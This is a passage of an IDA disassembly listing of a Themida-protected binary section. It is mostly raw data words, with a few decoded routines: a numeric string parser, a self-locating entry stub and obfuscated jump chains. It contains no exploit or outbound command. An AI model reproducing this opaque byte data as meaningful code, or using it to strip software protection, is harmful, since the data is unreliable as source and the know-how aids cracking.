3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 32EB3B76h dd 0CE978h, 81240000h, 0B4B93D00h, 0DBC3E248h, 0F8832FE3h dd 0F3840F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 759EC350h, 660474CDh dd 0D5E4DB81h, 0F03F883h, 4484h, 4D958B00h, 0B807E000h dd 0 dd 958BD88Bh, 7E00F61h, 89E0BD8Dh, 6A005Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0E0D719C3h dd 6E9E7FFh, 73000000h, 0F7DFA111h, 1B80Ah, 12E90000h dd 0E5000000h, 62EBCBB5h, 9F0BDF85h, 0B371CD8h, 7AD181B7h dd 0E0BD8D4Ah, 6A005B89h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0D18CC350h, 3838A95Fh dd 68E0Fh, 0B5890000h, 7E00799h, 76BBE7FFh, 8D1B352Eh dd 0E044EBBDh, 0E9950107h, 0B707E001h, 305E9AAh, 95290000h dd 7E021D5h, 0DE9h, 811F6100h, 8FEA4169h, 0FCCF2A27h, 85C7FCEAh dd 7E04EBAh, 5, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 82C35242h, 8B9BDEE9h, 0E0018595h, 5B807h, 11E80000h dd 0AF000000h, 0E81D7D8Dh, 65E319F0h, 0F3C09DBAh, 9C8E53C4h dd 2C2D9D31h, 895A07E0h, 0E0209985h, 9E4E907h, 958B0000h dd 7E02045h, 0F02F883h, 10285h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 16831653h dd 0B80A42F3h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 2FC35242h dd 89608A04h, 0E01C4D8Dh, 11E807h, 89130000h, 99D673A0h dd 5941D68Bh, 142982FBh, 0F5AA96BAh, 0EE9615Bh, 13000000h dd 63BF4144h, 0E5A46A3Dh, 7B05F1C6h, 0F4EB8038h, 840FC00Bh dd 57h, 83DE8B66h, 840F01F8h, 0FFFFFF06h, 8361D680h, 840F03F8h dd 0FFFFFE79h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0C1C35040h, 8166C02Bh, 0B3B0BFF3h, 0E0BD8D5Dh dd 0F005B89h, 681h, 29BD8900h, 0FF07E000h, 1D9589E7h, 8D07E008h dd 0E046E3BDh, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 80E9B945h, 83000001h dd 850F03F8h, 64h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 56C35747h, 69BD89CAh, 8D07E007h, 0E04877BDh dd 0EA816607h, 0D88B0512h, 142E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 99179E52h dd 0AF5BBE5Ah, 6840Fh, 9D8B0000h, 7E01E29h, 0F05F883h dd 3485h, 0A9958B00h, 0E907E020h, 852h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 6AC35242h, 0A05456D5h dd 6F941A54h, 60B01ABAh, 6F88319h, 29850Fh, 810F0000h dd 0Fh, 0AE9h, 87250100h, 3C1F263Dh, 8D406E00h, 0E04A6FBDh dd 11DB8007h, 0AAE9h, 799D8B00h, 8307E015h, 850F07F8h dd 2Ah, 8D82F680h, 0E00215BDh, 0C1958B07h, 0E907E022h dd 11Dh, 1299958Bh, 606007E0h, 26F5B58Bh, 9D8B07E0h, 7E0160Dh dd 0F8836161h, 68850F0Ah, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 2B5DC352h dd 93592911h, 0CE93A6Ah, 90000000h, 0C48CD458h, 75077B5Ah dd 8D7B378Ch, 0E04C67BDh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0ADFE0F62h dd 41C2D223h, 735E72BBh, 0E9FC73h, 57000000h, 0B9D88B66h dd 9CB9640h, 320D9589h, 12E807E0h, 0F7000000h, 4EB5558h dd 864532C6h, 9BB535C9h, 0AB1D3E85h, 0F5958B67h, 5B07E02Eh dd 0F003F83h, 3A84h, 0D757BB00h, 0F304348h, 16890Fh, 11E90000h dd 91000000h, 9B495796h, 0FD68B939h, 7C2F3CDCh, 0B136FC1Bh dd 0F380C9D1h, 95314751h, 7E02395h, 0FFFFC3E9h, 7DB81FFh dd 5F5AF949h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 2FC35242h, 863B23E4h, 5F6EB957h, 63BD89F9h, 6A07E04Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 5E5EC355h, 6E9ACh, 0A84C0000h, 2A3E0811h dd 21E98D8Dh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 844FC0C3h, 59D8B64h, 0FF07E020h dd 0E028FDB5h, 25BA6607h, 58858D87h, 5007E2AEh, 5684BD8Dh dd 8D8D07E0h, 7E07153h, 831ABCB8h, 30CF2B54h, 47C8D007h dd 8DF87549h, 0E070AFB5h, 6B8D8D07h, 2B07E071h, 33A4F3CFh dd 0B8C9h, 0C00B0000h, 0BD834674h, 7E03441h, 0FF067400h dd 0E018C195h, 63B58B07h, 8D07E04Eh, 0E2AE5885h, 8DD0FF07h dd 0E042C085h, 0C7D0FF07h, 0E00F8D85h, 107h, 99A58B00h dd 8B07E030h, 0E01B0DB5h, 71AD8B07h, 3307E006h, 0CC2C0h dd 12819D89h, 958B07E0h, 7E02621h, 2269BD83h, 0F0007E0h dd 5084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0F281FA8Eh, 2498F188h, 33B195FFh dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 4A8C9C3h, 89730F2Dh, 0E01EB585h, 51BD8307h dd 7E015h, 22C850Fh, 0B5890000h, 7E02D45h, 25FD958Bh, 0BD8307E0h dd 7E016B1h, 13850F01h, 0F000002h, 289h, 60D88B00h, 3499858Bh dd 850307E0h, 7E02E3Dh, 4DBD8361h, 7E012h, 1F0840Fh, 0CAB20000h dd 4EB6BD83h, 0F0007E0h, 1E184h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 14E995DFh dd 90000000h, 0E384ACC0h, 5681E2E6h, 0B440EA58h, 4F1ED8C1h dd 0E8EDFB72h, 13h, 52BD513Ch, 5D50FAFEh, 2F9B27B6h, 27693FE5h dd 1F44354h, 0E018359Dh, 858D5A07h, 7E2AE58h, 2963BB66h dd 4E63B58Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0E83A46C3h, 6, 3FD06364h, 952B7DEAh dd 7E022A9h, 0B6D0FF5Bh, 5985C625h, 5407E007h, 1B99958Bh dd 4E807E0h, 0F4000000h, 57FF4EBEh, 3CDEBB66h, 850F505Bh dd 17h, 5E860h, 0F2D00000h, 5BA8F2B5h, 5E9h, 0F51CB600h dd 8B61B1E4h, 0F042444h, 1E80h, 12E800h, 0F2C20000h, 336B005Fh dd 2D30EFDAh, 7A183783h, 2E0315FBh, 8F0Fh, 8B5B0000h, 89DA8A00h dd 0F042444h, 0F8Eh, 5E86000h, 92000000h, 50A0B04Ah, 6161605Ah dd 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 81DB9779h, 51773ECAh, 1B5FF69h, 0BB07E02Fh dd 797DEE1Eh, 39F8858Dh, 0DE8007E0h, 0FD0FF94h, 28Ch, 6A3BB200h dd 0D68B6600h, 950BFF6Ah, 7E02321h, 0D0FF6160h, 10E9h dd 8481C000h, 0CB17F026h, 75ADB00Dh, 40C57A9Ah, 0FFDE8BB9h dd 0E0005DB5h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 3038F183h, 0FB420A7Ch dd 0D680C61Dh, 0FD95FF5Fh, 6A07E028h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 185AC351h dd 0FF9C807h, 587h, 0F3816600h, 0B58B6784h, 7E04E63h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B8C35646h, 97C9E88Ch dd 6655832Bh, 0B3C3D08Bh, 39B58BFAh, 8B07E020h, 0E008F195h dd 0FF60B07h, 3D84h, 89D78B00h, 0E01D6DB5h, 6C607h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0DFC35141h, 8815C9Ah dd 1D69950Eh, 1189BD09h, 295107E0h, 0E018198Dh, 85895A07h dd 7E04E6Bh, 164D8D89h, 83FC07E0h, 840F00F8h, 31Ah, 2A698509h dd 0B807E0h, 81000000h, 64A66BE2h, 83C1B72Eh, 840F00F8h dd 0C2h, 83DE8B66h, 850F02F8h, 98h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 70C35040h, 0E7344F70h, 0AD958B4Fh dd 8D07E008h, 0E044E685h, 38C0F07h, 66000000h, 0BF0FD98Bh dd 9292DD1h, 9D0B0000h, 7E012A9h, 8E890h, 2C280000h, 0FB3DFA5Dh dd 52500AE6h, 5250310Fh, 585A310Fh, 505A585Ah, 0D68B5250h dd 0DE8A310Fh, 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0A3BDC357h, 61808C50h dd 92638D7h, 0E016BDBDh, 0F4B7C307h, 0B8h, 8C0F5300h, 6 dd 143D958Bh, 0E95B07E0h, 242h, 12B58501h, 1B807E0h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0BDBC352h, 511E22EBh dd 0DE8B3DCFh, 0EBBD8DF9h, 8B07E044h, 0E016F195h, 7E86007h dd 37000000h, 0F4659D11h, 9D03500Fh, 7E00FA1h, 16D3815Fh dd 613352BDh, 0A9E9h, 0FE800h, 9DE20000h, 0E99B19F8h, 0B10CE1A5h dd 0BF03B48Ah, 61958B35h, 5B07E02Bh, 5BF4F281h, 0F8834DDFh dd 36850F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 5A56C357h, 0A4DD8785h dd 44FACA86h, 46E3BD8Dh, 4FE907E0h, 66000000h, 0BF0FD38Bh dd 3F883DEh, 22850Fh, 95330000h, 7E0226Dh, 4877BD8Dh, 8B0F07E0h dd 3, 0E9A3DA80h, 26h, 28C0Fh, 0DF8B0000h, 0F05F883h, 1585h dd 28E0F00h, 0B6000000h, 0C8E9B6h, 60F80000h, 0BF0FC38Bh dd 6A5761CEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0F883C352h, 0FC82940Fh, 0FD9589AFh dd 0B907E016h, 9CB9640h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0D9C35242h, 0FA9F1D0Ah, 9D8951C7h, 7E015B5h dd 0F003F83h, 6184h, 0E59D2B00h, 107E004h, 0E02A799Dh dd 800F3007h, 860F2CF7h, 6, 26A98589h, 0C9D107E0h, 102DBD89h dd 9D8B07E0h, 7E019BDh, 699D8B47h, 0E907E01Fh, 0FFFFFFC0h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 26C35242h dd 881C7B99h, 60666292h, 0BF0FD38Bh, 0F88361D9h, 73850F05h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0F7F4C350h, 66F50209h, 6E9D98Ch dd 0A2000000h, 925E6C2Bh, 4C1F6E8h, 1C850Fh, 9D890000h dd 7E0305Dh, 0B8h, 218D8900h, 0E907E02Bh, 26h, 0DFD6EB81h dd 858B7B96h, 7E023F5h, 19119589h, 0E0FF07E0h, 0C870Fh dd 800F0000h, 6, 20A9958Bh, 0BD8307E0h, 7E028FDh, 0B4850F00h dd 89000000h, 0E010A9BDh, 4895007h, 0D6BF0F24h, 75985C6h dd 504507E0h, 685A29B7h, 0B354DD11h, 0D1CA56BAh, 24348154h dd 3D26B478h, 7E9h, 0BF5DFB00h, 85250FEFh, 2F01B5FFh, 6A07E0h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 41107FC3h, 4605CAD3h, 0E9951262h, 0Eh, 0ED71A0D7h, 906C25C4h dd 5E077E87h, 858D949Bh, 7E039F8h, 5BDE80FCh, 6AD0FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 9F8395C3h, 9589FA80h, 7E03149h, 28FD8589h, 0B70F07E0h dd 816658D9h, 832C79F3h, 0E04EBABDh, 840F0007h, 4Dh, 0FE9h dd 67CBE100h, 0E578FB3Fh, 0EBF3652h, 0F43ECA62h, 5DB5FFh dd 8E907E0h, 0D6000000h, 942C31A9h, 0FF0B97A9h, 0E028FD95h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 74CB6E0h, 0F8830Ch, 11E850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0B178E7C3h, 3995BA3Eh, 0B58933BBh, 7E00769h, 105BD83h dd 0F0007E0h, 4C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0A22C7748h, 0BD893198h dd 7E026A9h, 105B5FFh, 0EE8007E0h, 1B88Eh, 95090000h, 7E014C9h dd 2AAE9h, 870F00h, 89000000h, 0E01E39BDh, 5DB5FF07h, 3307E000h dd 0E033F995h, 32D0BB07h, 0B5FF612Ah, 7E0005Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CCC35747h, 0E854725Eh dd 0Dh, 18F9AE72h, 0C6D21F5Ch, 1A81BEE0h, 188D0F3Fh, 0E8000000h dd 12h, 0E130731Ah, 4F8345B1h, 0CFB73981h, 0A1A4F6C3h dd 5A5BD874h, 28FDB5FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0E9B978C3h, 20Fh, 6880Fh dd 8D890000h, 7E022CDh, 0D78B505Fh, 71BD835Ah, 7E02Fh dd 109850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0C09768C3h, 9958B2Dh, 0C607E002h dd 0E0075985h, 68F94D07h, 0ED43F66Ah, 840F5250h, 0Bh, 6E9h dd 2FEC8000h, 0F677A2Ch, 13BF6031h, 0F5FA4F3h, 89h, 585A6100h dd 0C2243481h, 6A497680h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 7E6CC357h, 4457EB9Eh dd 26B98589h, 666007E0h, 182A1BEh, 0E02E519Dh, 0B5FF6107h dd 7E03085h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0D6C35343h, 7740A3EDh, 0C0167EB4h, 18C381F2h, 8931A41Eh dd 0E01AB1BDh, 0F8858D07h, 8B07E039h, 119523DEh, 0FF07E024h dd 0E9D08BD0h, 0Dh, 0B2ACE6C5h, 66F06F71h, 256B92F3h, 718589E9h dd 0E807E02Fh, 0Ah, 0B70EC33h, 202FF0AEh, 8B504897h, 0E0057995h dd 0B85A5A07h, 0 dd 8890Fh, 850F0000h, 2, 0BD896160h, 7E04E63h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h db 18h byte_554345 db 3 dup(0) ; DATA XREF: ___:00444A3Co dd 60C35646h, 70B66C63h, 0C00BF0B7h, 36840Fh, 0B9600000h dd 0E8E4D30h, 19299D09h, 0E96107E0h, 93h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 94C35545h, 0C17DBC7h dd 0DF8BF80Fh, 28FDB5FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 47BEAEC3h, 7EBA66E7h dd 0DFB70F78h, 1F5958Bh, 858D07E0h, 7E2AE58h, 1B09958Bh dd 669007E0h, 8B50D88Bh, 6A90D7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0B621F8C3h, 0D2C30B13h dd 159D8BA2h, 5007E000h, 84BD8D56h, 8D07E056h, 0E07C688Dh dd 23BCB807h, 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh dd 7E00105h, 8B067400h, 0E005D58Dh, 0B8C93307h, 0 dd 840FC00Bh, 0A8h, 3441BD83h, 740007E0h, 0C195FF06h, 0B807E018h dd 0 dd 975C00Bh, 4E6BBD83h, 740107E0h, 6BBD8309h, 207E04Eh dd 0B58B0E75h, 7E04E63h, 0AE58858Dh, 0D0FF07E2h, 2269BD83h dd 740007E0h, 0B195FF06h, 8D07E033h, 0E042C085h, 83D0FF07h dd 0E033EDBDh, 2F750207h, 3099A58Bh, 858B07E0h, 7E00105h dd 0C7240489h, 0E00F8D85h, 107h, 67B58B00h, 8B07E04Eh dd 0E00671ADh, 1B807h, 0CC20000h, 0C700EB00h, 0E00F8D85h dd 107h, 99A58B00h, 8B07E030h, 0E01B0DB5h, 71AD8B07h, 3307E006h dd 0CC2C0h, 2269BD83h, 740007E0h, 0B1BD830Fh, 7E033h, 95FF0674h dd 7E033B1h, 4E63B58Bh, 0FC307E0h, 688h, 45958B00h, 2907E020h dd 0E01B1985h, 29B58907h, 0BA07E021h, 0 db 80h, 0DFh, 6Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_554533 ; --------------------------------------------------------------------------- loc_554531: ; CODE XREF: Themida_:00554536j inc eax inc edi loc_554533: ; CODE XREF: Themida_:0055452Fj cmp byte ptr [edi], 0 jnz short loc_554531 xor ecx, ecx mov edi, [ebp+8] jmp short loc_554562 ; --------------------------------------------------------------------------- loc_55453F: ; CODE XREF: Themida_:00554564j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_554557 ; --------------------------------------------------------------------------- loc_554554: ; CODE XREF: Themida_:0055455Aj mul ebx dec esi loc_554557: ; CODE XREF: Themida_:00554552j cmp esi, 0 ja short loc_554554 pop ebx add ecx, eax pop eax inc edi dec eax loc_554562: ; CODE XREF: Themida_:0055453Dj or eax, eax jnz short loc_55453F mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dd 6AE9B2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0A35C5CC3h, 76C22E1h, 219589ECh, 0BA07E033h dd 61793103h, 8DE9C18Bh, 225h, 0A77FFDF0h, 45005CEEh, 28005D09h dd 2800000Ah, 5025B00h, 6C0A2801h, 60012FFh, 2000002h dd 1000000h, 0 dd 0AC000000h, 0F874C7h, 4 dup(0) dd 13000000h, 63005566h, 0EB005603h, 3B005563h, 420055B7h dd 97005577h, 0A400558Eh, 93005560h, 0ED0055BDh, 8B0055BFh dd 55F1h, 0C10055FFh, 6005579h, 0B20055EAh, 930055E6h dd 8C0055BFh, 0C300558Fh, 360055DBh, 0D10055E4h, 0CF005578h dd 0DA0055F3h, 9D005597h, 7500556Ch, 6B005578h, 330055A5h dd 95005589h, 0C3005601h, 300055A0h, 7300554Dh, 73005596h dd 0FC00556Ah, 0FB00556Ch, 33005589h, 21005577h, 26005567h dd 210055FEh, 0C20055EAh, 190055EEh, 70005597h, 69005599h dd 0D50055F9h, 440055C3h, 3800554Eh, 0F7005587h, 900558Eh dd 0B70055A8h, 0C200559Bh, 82005549h, 9005579h, 2000557Bh dd 0B80055F4h, 0F00055B2h, 50055D4h, 0E800560Bh, 0BB0055B5h dd 20055ACh, 0BE0055DDh, 7900556Ch, 0CA00555Ah, 520055AEh dd 0DC00557Eh, 3F0055B9h, 0D20055F2h, 8F0055B1h, 5F005609h dd 15005587h, 6A005559h, 0C005592h, 0D10055A3h, 0EF005580h dd 600055B5h, 0E70055C6h, 7B00558Bh, 200055A4h, 38005578h dd 0DD0055FBh, 8F005553h, 20055FBh, 0B900560Dh, 86005552h dd 8B0055DDh, 0A00055B5h, 0A50055FBh, 1F005601h, 0F00055A2h dd 690055AEh, 0DA0055B5h, 0C5005548h, 8700560Bh, 570055FCh dd 0DB0055D7h, 0D20055E0h, 820055D7h, 2D005558h, 3E0055D4h dd 0CD005606h, 550055C4h, 6100558Dh, 9B005560h, 0BF005553h dd 0EA005589h, 0FB0055E6h, 3C0055ABh, 9A0055E3h, 3C0055FEh dd 0A000556Bh, 10055DFh, 0D30055B5h, 510055DDh, 830055B6h dd 0B10055A2h, 0FA005580h, 970055C4h, 0EA0055DFh, 0FA0055F6h dd 5E0055CDh, 2005578h, 0F900556Ah, 830055A0h, 570055AAh dd 100055CBh, 780055B8h, 620055B5h, 320055F6h, 2A005556h dd 0B400557Dh, 520055CEh, 0EB005578h, 0E500557Fh, 0E700555Ch dd 470055A7h, 59005596h, 3400554Bh, 0E50055ECh, 8500556Ah dd 0CF00555Ah, 0DE005549h, 3A0055B8h, 70055CEh, 0B4005566h dd 0B200555Dh, 0A00055ECh, 0F400555Eh, 5568h, 2F00560Ch dd 8D0055C4h, 2E00555Bh, 0E40055AAh, 460055D1h, 0D700556Bh dd 8900557Bh, 0C4005586h, 8E0055F5h, 8D005605h, 9A00560Ah dd 0A10055C4h, 0E00558Dh, 2600559Bh, 8B005590h, 26005602h dd 0D6005571h, 84005591h, 0A60055ACh, 2F0055BAh, 0D000555Ah dd 0A2005583h, 0C7005577h db 7Bh, 55h, 0 ; --------------------------------------------------------------------------- loc_554887: ; CODE XREF: Themida_:0058411Fj ; Themida_:00590093j ... pusha pushf cld call $+5 pop edi sub edi, 7E080E3h mov eax, edi add edi, 7E07DFBh cmp eax, [edi+2Ch] jnz short loc_5548A5 jmp short loc_5548B8 ; --------------------------------------------------------------------------- loc_5548A5: ; CODE XREF: Themida_:005548A1j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5548B4 ; --------------------------------------------------------------------------- loc_5548AF: ; CODE XREF: Themida_:005548B6j add [edi+ecx*4+40h], eax dec ecx loc_5548B4: ; CODE XREF: Themida_:005548ADj or ecx, ecx jnz short loc_5548AF loc_5548B8: ; CODE XREF: Themida_:005548A3j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5548C5: ; CODE XREF: Themida_:005548CCj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5548C5 loc_5548CE: ; CODE XREF: Themida_:loc_556794j ; Themida_:005568AFj ... lodsb push bx mov bl, 0D3h add al, bl jmp loc_5592C2 ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 9C2414D2h, 0FFFFE5E9h, 0BF575CFFh, 4, 6DE9FE01h dd 5B000049h, 348BF001h, 4DBBE924h, 875B0000h, 248B2434h dd 48F5424h, 4E48E924h, 0C6290000h, 81C60158h, 6C49AEC6h dd 1CC68145h, 5876B049h, 0E904C683h, 6E7Ch, 4C481h, 97E90000h dd 89FFFFFFh, 0ECE92414h, 5A00000Ch, 8B24048Fh, 12E92424h dd 870000ACh, 0E95C2414h, 613Dh ; --------------------------------------------------------------------------- loc_554954: ; CODE XREF: Themida_:005606BEj mov edi, 4B956385h sub [esp+4], edi mov edi, [esp] push ebx jmp loc_557DF9 ; --------------------------------------------------------------------------- loc_554966: ; CODE XREF: Themida_:00556748j xor esi, [esp] xor [esp], esi jmp loc_55C993 ; --------------------------------------------------------------------------- db 31h, 1Ch, 24h dd 8B241C33h, 4212424h, 4BE99C24h, 66FFFFFFh, 0B0505251h dd 58C688E5h, 80D3E9h, 0E9D90100h, 0D88h, 632DC801h, 56BF57Dh dd 69C46ED4h, 9AEB8159h, 52307E65h, 0FB0F9EBAh, 765CE97Bh dd 0E9500000h, 5BF0h, 2116E951h, 6B680000h, 89000053h dd 0FFE92414h, 66FFFFFEh, 5724048Bh, 0E952E789h, 4CB9h dd 68DBF7h, 29000000h, 565B241Ch, 0EF51DDBEh, 9DCE8125h dd 812EAD20h, 9F597CCEh, 8B6DE90Ah, 89660000h, 0CFB22414h dd 34A9E9h, 76EB8100h, 5A6A873Ah, 4C381h, 1C870000h, 76E95C24h dd 10000C0h, 0CEE92404h db 0A5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554A27: ; CODE XREF: Themida_:0055AE79j push edi mov edi, 4 add ecx, edi pop edi push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_560328 ; --------------------------------------------------------------------------- aRws db 'RWéÔ',27h,0 dd 81FB0100h, 0D7452DC3h, 0C2C3815Eh, 0FF6C4066h, 815F2434h dd 4C4h, 2C38300h, 22B6E9h, 0C86BA00h, 0F281415Bh, 79176EC1h dd 1932BE56h, 9DE9168Bh, 0BB000096h, 5F657FD6h, 74ECE9h dd 0BDE95C00h, 8700001Dh, 0D35C2404h, 0E99C242Ch, 0FFFFFE2Eh dd 89243C89h, 6AFDE9E7h, 2D590000h, 5A937BC8h, 917BE9h dd 56106800h, 3C890000h, 0C6895624h, 0E95EF789h, 882Dh dd 9C240430h, 0FFFDFDE9h, 0C8B66FFh, 0A5C0E924h, 565B0000h dd 268h, 0F0015E00h, 8324348Bh, 48704C4h, 24248B24h, 0C5885153h dd 8859EB88h, 241C8B1Ah, 5086853h, 24890000h, 24048324h dd 0E9565B04h, 2650h, 922CD800h, 50241C8Bh, 0BB535854h dd 4, 0E95BD801h, 709Bh, 5258E588h, 0D02857B2h, 68E8005Ah dd 7A87h, 0B6241489h, 9DB151CAh, 7CE9CE30h, 0A5h, 241C8BD9h dd 4C481h, 0C8000000h, 6F47E9h, 3B566800h, 0A8E90000h dd 0E90000A9h, 0FFFFFD66h, 8F04C483h, 248B2404h, 66E1F624h dd 81CCB60Fh, 4ECh, 24048900h, 7A2BE954h, 1680000h, 0E9000000h dd 86FCh, 295EF729h, 0D8015FF8h, 0A6762605h, 4576E95Dh dd 0DF010000h, 3A41C781h, 0E95B4F0Ah, 765Eh, 8B24048Fh dd 89662424h, 0FE92404h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554BBF: ; CODE XREF: Themida_:0055D13Ej mov eax, [esp] push ebp mov ebp, esp jmp loc_55D6DE ; --------------------------------------------------------------------------- dw 1489h aTsA db '$Té!a',0 dw 8100h dd 3602ABF7h, 5FFD01E4h, 0BE565052h, 793D301Ah, 2356EE81h dd 0BA527852h, 4A2359B5h, 770AE9h db 0 ; --------------------------------------------------------------------------- loc_554BF5: ; CODE XREF: Themida_:0055ED3Aj mov ebp, 0DE71840h sub ebp, 3B9411B7h or ebp, 2976111Bh and ebp, 746B730Ch and ebp, 6E06487h sub ebp, 7DC26244h add ebp, 0B2533B35h add esi, ebp pop ebp not esi sub esi, 7375762Eh not esi or esi, 36D869DEh sub esi, 24521F00h add edi, esi pop esi xor ecx, edi pop edi push 928h mov [esp], esi mov esi, 5FEE2EC4h sub esi, 5FEE2EC3h push esi pop eax mov esi, [esp] push 24BFh mov [esp], ebp mov ebp, esp jmp loc_55ABF0 ; --------------------------------------------------------------------------- aSH9 db 'S³µ(Þ[h9',0Dh,0 dw 8900h dd 57E92404h, 830000A8h, 83E904ECh db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554C7F: ; CODE XREF: Themida_:0055C13Bj and eax, ecx jmp loc_55B842 ; --------------------------------------------------------------------------- dw 8CB3h dd 6606C380h, 2891B450h, 8AD8E9E3h, 48F0000h, 24248B24h dd 9C2424D3h, 0FFFC29E9h, 0B65266FFh, 66F0283Ch, 4F8005Ah dd 241C8B3Ch, 11C9E9h, 0FFFFBF00h, 23E9FFFFh, 57000032h dd 6F424CBFh, 0BDB8BE31h, 0FE01CE90h, 5EF1015Fh, 0ADA0E9h dd 59C82900h, 4E9815Fh, 116C337h, 4C181C1h, 5816C337h dd 92CBE9h db 0 ; --------------------------------------------------------------------------- loc_554CF1: ; CODE XREF: Themida_:0055900Ej xchg edi, [esp] jmp loc_55CDF3 ; --------------------------------------------------------------------------- db 4Eh, 81h, 0F6h dd 4A244113h, 815EF201h, 4C2h, 88F8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D0E: ; CODE XREF: Themida_:0055D902j mov esi, esp jmp loc_556FDA ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 4B8h, 6EF8100h, 293C356Fh, 6C781C7h, 0E93C356Fh, 3CA9h dd 240C8B66h, 81E28952h, 4ECh, 6926E900h, 1C890000h, 0E0895024h dd 405h, 4E88300h, 5C240487h, 0B5240C89h, 73B050BBh, 0C730E2B7h dd 59EF2858h, 0FFFF3CE9h, 241431FFh, 5C241433h, 0E9505153h dd 78F0h, 83240C8Bh, 1C8704C4h, 0E9505C24h, 3AAFh, 17074CBDh dd 53DDF756h, 0EF48BFBBh, 0AEB8163h, 0C10BDC23h, 32E907E3h dd 0E90000BAh, 0FFFFFB26h, 4A56EE81h, 0BA526CE7h, 5D1171EAh dd 10ECA81h, 3AE97CAFh, 1000038h, 240C8BCEh, 0E9E18951h dd 2FD3h, 0F0207781h, 5306C077h, 0BB78E9h, 4C28100h, 81000000h dd 4C2h, 0B677E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554DEA: ; CODE XREF: Themida_:00557969j add eax, 4 xchg eax, [esp] pop esp push edi mov edi, esp push ecx mov 